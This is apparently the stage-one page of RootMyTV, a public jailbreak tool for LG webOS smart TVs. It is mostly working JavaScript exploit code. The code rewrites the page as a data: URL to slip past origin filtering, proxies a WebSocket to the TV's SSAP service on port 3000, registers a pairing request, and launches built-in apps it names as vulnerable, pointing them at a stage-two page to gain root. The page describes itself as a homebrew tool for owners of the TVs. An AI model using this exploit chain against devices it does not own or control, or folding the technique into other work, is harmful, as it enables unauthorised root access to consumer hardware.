-
-
Notifications
You must be signed in to change notification settings - Fork 65
/
index.html
371 lines (337 loc) · 13.2 KB
/
index.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
<!DOCTYPE html>
<html>
<head>
<title>RootMyTV - Stage 1</title>
<meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=yes, minimum-scale=1.0">
<meta name="description" content="RootMy.TV - Slide to root your LG webOS TV and install the webOS Homebrew Channel">
<meta name="keywords" content="webos, root, exploit, slide, rootmy, rootmytv, jailbreak, hack, unlock, homebrew, channel">
<meta property="og:title" content="RootMy.TV">
<meta property="og:description" content="RootMy.TV - Slide to root your LG webOS TV and install the webOS Homebrew Channel">
<meta property="og:image" content="https://rootmy.tv/img/thumb.jpg">
<meta name="twitter:card" content="summary_large_image">
<link rel="stylesheet" href="css/common.css" />
</head>
<body>
<header>
<h1>RootMy.TV<small> 2.0</small></h1>
</header>
<hr>
<section class="content-center">
<article id="main-article">
<p>
This webpage will exploit your LG webOS smart TV, gain local root privileges,
and install the <a href="https://github.com/webosbrew/webos-homebrew-channel">
webOS Homebrew Channel.</a>
</p>
<p id="patched">
If you get a <span class="code">Denied method call</span> error or your
TV reboots but Homebrew Channel is not installed, then <b>your TV is
patched</b>. All firmware released since mid-2022 is patched.
There is no need to report this to us.
</p>
<p>
<b>/!\ IMPORTANT /!\ :</b> Read <a href="https://github.com/RootMyTV/RootMyTV.github.io">our documentation</a>
<b>BEFORE</b> you continue - or risk bricking your TV!
</p>
<p>
Once you're ready to proceed, drag the slider below (<i class="click-here">or press "5" / click here</i>).
</p>
<div class="slider-bar">
<div class="slider-button"><p>-></p></div>
<p class="slider-text">slide to root</p>
</div>
<p>
Note: You must open this webpage on your TV to trigger the exploit.
</p>
</article>
</section>
<hr>
<script>
window.ORIGIN_URL =
window.location.protocol === 'data:' ? '__START_ORIGIN__' :
window.location.protocol === 'file:' ? 'https://rootmy.tv' : window.location.href;
window.onerror = function (err) {
console.error(err);
alert('error: ' + JSON.stringify(err) + '\n' + err.fileName + ' ' + err.lineNumber);
};
</script>
<script>
var is_webos = navigator.userAgent.toLowerCase().indexOf("webos") !== -1 ||
navigator.userAgent.toLowerCase().indexOf("netcast") !== -1 ||
navigator.userAgent.toLowerCase().indexOf("smarttv") !== -1;
console.log("is_webos: " + is_webos)
// Exploit data: url navigation for browsers which didn't have following patch
// applied yet (webOS 3.x):
// https://chromium.googlesource.com/chromium/src.git/+/130ee686fa00b617bfc001ceb3bb49782da2cb4e
try {
if (window.location.protocol !== 'data:' && is_webos) {
window.location = 'data:text/html;base64,' + btoa(document.documentElement.innerHTML
.replace('="css/common.css"', '="' + new URL('css/common.css', window.location.href).href + '"')
.replace('__START_ORIGIN__', window.location.href));
}
} catch (err) {}
function log(str) {
var logBox = document.querySelector('#log');
logBox.innerText = logBox.innerText + str + '\n';
logBox.scrollIntoView(false)
}
// Minimal implementation of WebSocket API that we use to workaround origin
// filtering in SSAP (LG Connect Apps) server. data: origins result in Origin:
// null header to be sent, which is explicitly allowed.
function ProxyWebSocket(target) {
// Proxy payload - this function is run in data: iframe and is meant to exchange
// WebSocket calls and events with parent frame.
function proxyPayload(address) {
// Helper function that forwards events/messages to parent frame
function forward(type, data) {
window.parent.postMessage(JSON.stringify({type: type, data: data}), "*");
}
try {
var conn = new WebSocket(address);
conn.onopen = function (evt) {forward('open', evt);}
conn.onclose = function (evt) {forward('close', evt);}
conn.onerror = function (evt) {forward('error', evt);}
conn.onmessage = function (evt) {forward('message', {data: evt.data});}
window.addEventListener("message", function (event) {
var msg = JSON.parse(event.data);
if (msg.type === 'send') {
conn.send(msg.data);
}
}, false);
} catch (err) {
forward('error', err);
}
}
var self = this;
this.proxy = document.createElement('iframe');
this.proxy.style.display = 'none';
this.proxy.setAttribute('src', 'data:text/html;base64,' + btoa('<' + 'script>' + proxyPayload.toString() + ';proxyPayload(' + JSON.stringify(target) + ');</' + 'script>'));
window.addEventListener("message", function (event) {
if (event.source !== self.proxy.contentWindow) return;
const msg = JSON.parse(event.data);
if (msg.type === 'message' && self.onmessage) self.onmessage(msg.data);
if (msg.type === 'close' && self.onclose) self.onclose(msg.data);
if (msg.type === 'error' && self.onerror) self.onerror(msg.data);
if (msg.type === 'open' && self.onopen) self.onopen(msg.data);
if (msg.type === 'log') console.info('proxy:', msg.data);
}, false);
document.querySelector('body').appendChild(this.proxy);
return this;
}
ProxyWebSocket.prototype.send = function (data) {
this.proxy.contentWindow.postMessage(JSON.stringify({type: 'send', data: data}), '*');
}
ProxyWebSocket.prototype.close = function () {
this.proxy.parentNode.removeChild(this.proxy);
}
// Final exploit code
var conn = null;
function bootstrap(target, url) {
try {
log('0. Connecting...');
if (conn) {try {conn.close();} catch (err) {alert(err.message)} }
conn = new ProxyWebSocket('ws://' + target + ':3000');
conn.onopen = function (evt) {
console.info('open', evt);
log('1. Connected, registering... Accept prompt on the TV.');
const handshake = {
id: "reg_req",
type: "register",
payload: {
forcePairing: false,
pairingType: "PROMPT",
"client-key": "xxx",
// Minimal manifest that gives us permission to launch a system
// application
manifest: {
manifestVersion: 1,
"localizedAppNames": {
"": "RootMyTV",
},
permissions: ["LAUNCH", "READ_INSTALLED_APPS"],
},
}
};
conn.send(JSON.stringify(handshake));
};
const pendingRequests = {};
function request(uri, payload, callback) {
const id = String(Date.now());
conn.send(JSON.stringify({
id: id,
type: "request",
uri: uri,
payload: payload,
}));
pendingRequests[id] = callback;
}
conn.onmessage = function (evt) {
const msg = JSON.parse(evt.data);
if (msg.type === 'registered') {
log('2. Registered - looking for vulnerable apps...');
request('ssap://com.webos.applicationManager/listApps', {}, function(msg) {
if (msg.type === 'response') {
const candidates = {
"com.webos.app.facebooklogin": {
priority: 1000,
params: { server: url.replace('http://', '').replace('https://', '') + "#" },
},
"com.webos.app.acrcard": {
// acrcard is broken on 3.x? worth debugging.
priority: (navigator.userAgent.indexOf("Chrome/38.0") !== -1) ? -1000 : 2000,
params: { contentTarget: url },
},
"com.webos.app.alibaba": {
priority: 2500,
params: { target: url },
},
};
var bestMatch = null;
msg.payload.apps.forEach(function(app) {
if (app.id in candidates) {
log("3. Found " + app.id);
if (bestMatch === null || candidates[bestMatch].priority < candidates[app.id].priority) {
bestMatch = app.id;
}
}
});
if (!bestMatch) {
log("3. No vulnerable apps found :(");
} else {
log("3. Launching " + bestMatch + "...");
request("ssap://system.launcher/launch", {
id: bestMatch,
params: candidates[bestMatch].params,
}, function(msg) {
log("3. Launch result: " + JSON.stringify(msg));
});
}
}
});
} else if (msg.type === 'response') {
if (pendingRequests[msg.id]) {
pendingRequests[msg.id](msg);
delete pendingRequests[msg.id];
} else if (msg.id !== 'reg_req') {
log('Unexpected response: ' + evt.data);
}
} else if (msg.type === 'error') {
log('Unexpected message, connection prompt likely declined:\n' + evt.data);
if (pendingRequests[msg.id]) {
pendingRequests[msg.id](msg);
delete pendingRequests[msg.id];
}
} else {
log('Unexpected message: ' + evt.data);
}
};
conn.onclose = function (evt) {
console.info('close', evt);
log('Closed');
};
conn.onerror = function (evt) {
console.info('error', evt);
if (evt.message && evt.message.indexOf('insecure') !== -1) {
log('Error occured during connection... Attempting data URL hack...');
} else {
log('Error occured during connection - Do you have LG Connect Apps enabled?');
}
};
} catch (err) {
log("An unexpected error occured: " + err.toString());
}
}
function begin_exploit() {
// replace main body with log window
document.querySelector("#main-article").innerHTML = "<pre id='log'></pre>";
var is_local = window.location.protocol === 'file:';
if (!is_local && !is_webos) {
log("[Warning] You should be visiting this page from a webOS device, not your desktop web browser!");
}
// Allow people to download the exploit page to manually set target IP,
// in case direct on-tv deployment fails for some reason.
var target = is_local ? prompt('Enter IP address of Your TV') : '127.0.0.1';
bootstrap(target, new URL('stage2.html', ORIGIN_URL).href);
}
// listen for "5" key to be pressed
document.addEventListener("keydown", function(event) {
if (event.keyCode === 53) {
begin_exploit();
}
});
document.querySelector('.click-here').addEventListener('click', function (event) {
begin_exploit();
});
/* slider animation logic */
var slider = document.getElementsByClassName("slider-button")[0];
var sliderText = document.getElementsByClassName("slider-text")[0];
var startX = 0;
var endX = 0;
var posX = 0;
var grabbed = false;
var velX = 0;
var lastUpdate = Date.now();
var prevPosX = 0;
var moved = false;
function slidermousedown(e) {
e.preventDefault();
startX = e.clientX;
grabbed = true;
endX = Math.floor(slider.parentElement.clientWidth * 0.827);
window.onmousemove = slidermousemove;
window.onmouseup = slidermouseup;
return false;
}
function slidermousemove(e) {
e.preventDefault();
var deltaX = e.clientX - startX;
moved = true;
if (deltaX < 0) {
deltaX = 0;
} else if (deltaX > endX) {
deltaX = endX;
}
posX = deltaX; // XXX fixme
}
function slidermouseup(e) {
window.onmousemove = null;
window.onmouseup = null;
velX = 0;
if (posX == endX || (posX == 0 && !moved)) {
begin_exploit();
slider.onmousedown = null;
} else {
grabbed = false;
}
moved = false;
}
function animate_tick() {
var now = Date.now();
var dt = now - lastUpdate;
ticks = dt/(1000/60);
if (ticks > 4) ticks = 4;
lastUpdate = now;
if (!grabbed && posX != 0) {
var accel = (0.5 + posX/200) * ticks;
velX -= accel;
posX += velX * ticks;
if (posX < 0) {
velX *= -0.3;
posX *= -0.3;
}
if (posX < 0.1) {
posX = 0;
}
}
if (prevPosX != posX) {
slider.style.left = Math.floor(posX) + "px";
sliderText.style.opacity = 1-(posX/endX);
}
prevPosX = posX;
window.requestAnimationFrame(animate_tick);
}
slider.onmousedown = slidermousedown;
window.requestAnimationFrame(animate_tick);
</script>
</body>
</html>